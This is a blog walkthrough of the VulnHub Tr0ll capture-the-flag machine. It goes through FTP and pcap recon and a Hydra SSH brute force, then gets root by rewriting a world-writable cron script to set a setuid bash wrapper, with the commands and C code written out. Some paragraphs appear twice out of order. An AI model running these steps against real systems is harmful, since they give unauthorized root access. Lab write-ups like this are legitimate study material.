boot2root: Tr0ll
Tr0ll: https://www.vulnhub.com/entry/tr0ll-1,100/
I guessed from the name & that it was "inspired by OSCP" that there'd be some curveballs in this boot2root, but I didn't anticipate how many!
As usual, beginning with a netdiscover:
And following up with an nmap:
FTP allows anonymous access - that's interesting. Will come back to that!
For now, let's browse the web app.
Looks like we found the first troll...
The nmap scan showed that there was an entry in the robots.txt, let's have a look:
Ah. Not much more helpful. Nothing useful in the source code for either page either.
Let's move on to the anonymous FTP.
We found a file called "lol.pcap" which is a pcap-ng capture file. Let's open it up in wireshark and see what it contains.
Looks like it's a packet capture of someone using the FTP server:
In the capture we can see a request for the file listing, which shows a file called secret_stuff.txt was present (but is no longer on the FTP):
"sup3rs3cr3tdirlol" sure does look like the name of a directory... and it is!
Very useful, naturally. Let's grab the file and see what it is. It's a binary file, so we check out the "strings" command for it. "Find address 0x0856BF" looks interesting... following the previous patterns, let's check if it's a directory on the website:
In the "this_folder_contains_the_password" folder is a file called "Pass.txt" which contains the text "Good_job_:)" In the "good_luck" folder there's a file called "which_one_lol.txt" which contains...
Well it didn't like that! Checking manually, the machine has blocked me on SSH. Charming. We're going to have to narrow down our lists before trying again, let's do some target recon. A quick google search for "maleus" brings us maleus' github page, which reveals his real name. Googling for his real name reveals his LinkedIn account, which in turn reveals that his company name is "overflowsecurity"... the last entry in the users.txt is "overflow". Given that the machine is designed to troll us, and there's a lockout on incorrect SSH attempts, it would figure that the last one on the list could be the right one. Let's try the Hydra attack again, but this time only using "overflow" as the user.
Bingo! (Is anyone surprised that the password was the Pass.txt one? Blummin' trolls.) Let's log into the SSH.
And following up with an nmap:
FTP Data (-rw-r--r-- 1 0 0 147 Aug 10 00:38 secret_stuff.txt\r\n)The user then downloaded the file, and happily we can follow the TCP Stream of the download in Wireshark to retrieve the data:
"sup3rs3cr3tdirlol" sure does look like the name of a directory... and it is!
Very useful, naturally. Let's grab the file and see what it is. It's a binary file, so we check out the "strings" command for it. "Find address 0x0856BF" looks interesting... following the previous patterns, let's check if it's a directory on the website:
In the "this_folder_contains_the_password" folder is a file called "Pass.txt" which contains the text "Good_job_:)" In the "good_luck" folder there's a file called "which_one_lol.txt" which contains...
maleus ps-aux felux Eagle11 genphlux < -- Definitely not this one usmc8892 blawrg wytshadow vis1t0r overflowAh. Usernames and a password perhaps? For the SSH, or for the FTP? Let's try SSH (because a quick win is always nice!) I create a userlist with the contents of "which_one_lol.txt", and a password file which contains both "Good_job_:)" and "Pass.txt" (because let's face it, we're getting trolled here...) and fire Hydra at the SSH service:
Well it didn't like that! Checking manually, the machine has blocked me on SSH. Charming. We're going to have to narrow down our lists before trying again, let's do some target recon. A quick google search for "maleus" brings us maleus' github page, which reveals his real name. Googling for his real name reveals his LinkedIn account, which in turn reveals that his company name is "overflowsecurity"... the last entry in the users.txt is "overflow". Given that the machine is designed to troll us, and there's a lockout on incorrect SSH attempts, it would figure that the last one on the list could be the right one. Let's try the Hydra attack again, but this time only using "overflow" as the user.
Bingo! (Is anyone surprised that the password was the Pass.txt one? Blummin' trolls.) Let's log into the SSH.
$ id uid=1002(overflow) gid=1002(overflow) groups=1002(overflow)All good, but we're not a privileged user. g0tmi1k has an excellent blog on linux privilege escalation here. Invaluable resource & reference material. Checking first for world-executable folders brings back nothing. There are a few world-writeable folders, but nothing out of the ordinary. Checking in /var/tmp shows an interesting file however..
$ cd /var/tmp $ ls cleaner.py.swp $ cat cleaner.py.swp crontab for cleaner.py successfulHuh. Wonder if we can find out what that file does. Let's look for a cronlog.
$ locate cronlog /var/log/cronlog $ cat /var/log/cronlog */2 * * * * cleaner.pyBefore I could do anything else I was disconnected from the SSH with this message:
Broadcast Message from root@trol (somewhere) at 11:30 ... TIMES UP LOL! Connection to 192.168.56.103 closed by remote host. Connection to 192.168.56.103 closed.Well then. I guess the trolling isn't over yet. Let's take a look at the cleaner.py to see what it's doing:
$ locate cleaner.py /lib/log/cleaner.py /var/tmp/cleaner.py.swp $ cat /lib/log/cleaner.py #!/usr/bin/env python import os import sys try: os.system('rm -r /tmp/*') except: sys.exit()So, every 2minutes /tmp is emptied. Smart. That's not what's kicking me off the machine though... But perhaps that doesn't matter so long as we can escalate. With a quick check for world-writeable files, I find cleaner.py is owned by root but writeable by all. So we can edit the file to set permissions on other files for us. Let's be direct about this and just try to spawn a shell. I disable the /tmp cleaner by removing the text inside the os.system call. Then I write into a .c file in /tmp:
int main() { setuid(0); system("/bin/bash"); }and compile it with gcc on the victim machine. Now we can use the cleaner.py permissions fudge to set the ownership of the setuid binary to root, and make it world executable.
#!/usr/bin/env python import os import sys try: os.system('chown root:root /tmp/shell; chmod 4777 /tmp/shell') except: sys.exit()So, if we wait for this to be called by cron (every 2 minutes), we should be able to use the compiled c code to escalate.
$ ls -al total 20 drwxrwxrwt 2 root root 4096 Jan 21 11:54 . drwxr-xr-x 21 root root 4096 Aug 9 03:42 .. -rwsrwxrwx 1 root root 7332 Jan 21 11:48 shell -rw-rw-r-- 1 overflow overflow 49 Jan 21 11:48 shell.cThe permissions change worked, let's try to execute...
$ ./shell root@troll:/tmp# id uid=0(root) gid=1002(overflow) groups=0(root),1002(overflow)Huzzah! We're root.
root@troll:/tmp# cd /root root@troll:/root# ls proof.txt root@troll:/root# cat proof.txt Good job, you did it! 702a8c18d29c6f3ca0d99ef5712bfbdcGood fun. Thanks maleus, even if you are a complete troll.
Comments
Post a Comment